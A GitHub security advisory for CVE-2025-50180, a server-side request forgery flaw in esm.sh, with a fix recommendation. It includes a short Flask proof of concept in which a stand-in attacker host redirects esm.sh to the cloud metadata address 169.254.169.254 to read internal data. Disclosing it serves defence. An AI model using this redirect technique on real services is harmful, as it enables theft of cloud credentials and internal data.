GitHub Advisoryadvisory · Go
GHSA-3c9r-837r-qqm4 esm.sh is vulnerable to full-response SSRF
HIGH
Official page ↗
- Aliases
- CVE-2025-50180
- Ecosystem
- Go
- Packages
- github.com/esm-dev/esm.sh
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-02-25
Affected packages
• Go github.com/esm-dev/esm.sh: < 0.0.0-20250616164159-0593516c4cfa → fixed in 0.0.0-20250616164159-0593516c4cfa
Description
Summary
esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.
Details
Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511
If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.
eg: https://esm.sh/https://local.site/test.md
```
".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"
```
A 302 redirect can be used to bypass the suffix restriction.
eg: https://esm.sh/https://attacker.site/test.md
https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json
PoC
Use Flask to start a server that returns a 302 redirect.
```python
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/test.md')
def redirect_test():
return redirect("http://169.254.169.254/v1.json", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
```
Let esh.sh visit this site.
https://esm.sh/https://attacker.site/test.md
Attacker can obtain data from http://169.254.169.254/v1.json.
```
var t=`{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"**","instance-v2-id":"","instanceid":"","interfaces":[{"ipv4":{"additional":[],"address":"","gateway":"","netmask":"","routes":[{"netmask":32,"network":""}]},"ipv6":{"additional":[],"address":"","network":"","prefix":"64"},"mac":"","network-type":"public"}],"nvidia-driver":[],"public-keys":[""],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}
`,o={},u=t;export{u as default,t as html,o as meta};
```
Decode the data (redacted) .
```json
{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"","instance-v2-id":"","instanceid":"","interfaces":[{"ipv4":{"additional":[],"address":"","gateway":"","netmask":"","routes":[{"netmask":32,"network":""}]},"ipv6":{"additional":[],"address":"","network":"","prefix":"64"},"mac":"","network-type":"public"}],"nvidia-driver":[],"public-keys":["**"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}
```
Impact
An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.
Fix
It is recommended to use `safeurl.Client` as a replacement for `http.Client`.
https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13
https://github.com/doyensec/safeurl
Related
Alias · CVE (1)
- CVE-2025-50180 esm.sh is a no-build content delivery network (CDN) for web development. vulnerability
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness
References
- https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-50180 advisory
- https://github.com/esm-dev/esm.sh/pull/1149 web
- https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0 web
- https://github.com/esm-dev/esm.sh package
- https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13 web
- https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511 web
- https://github.com/esm-dev/esm.sh/releases/tag/v137 web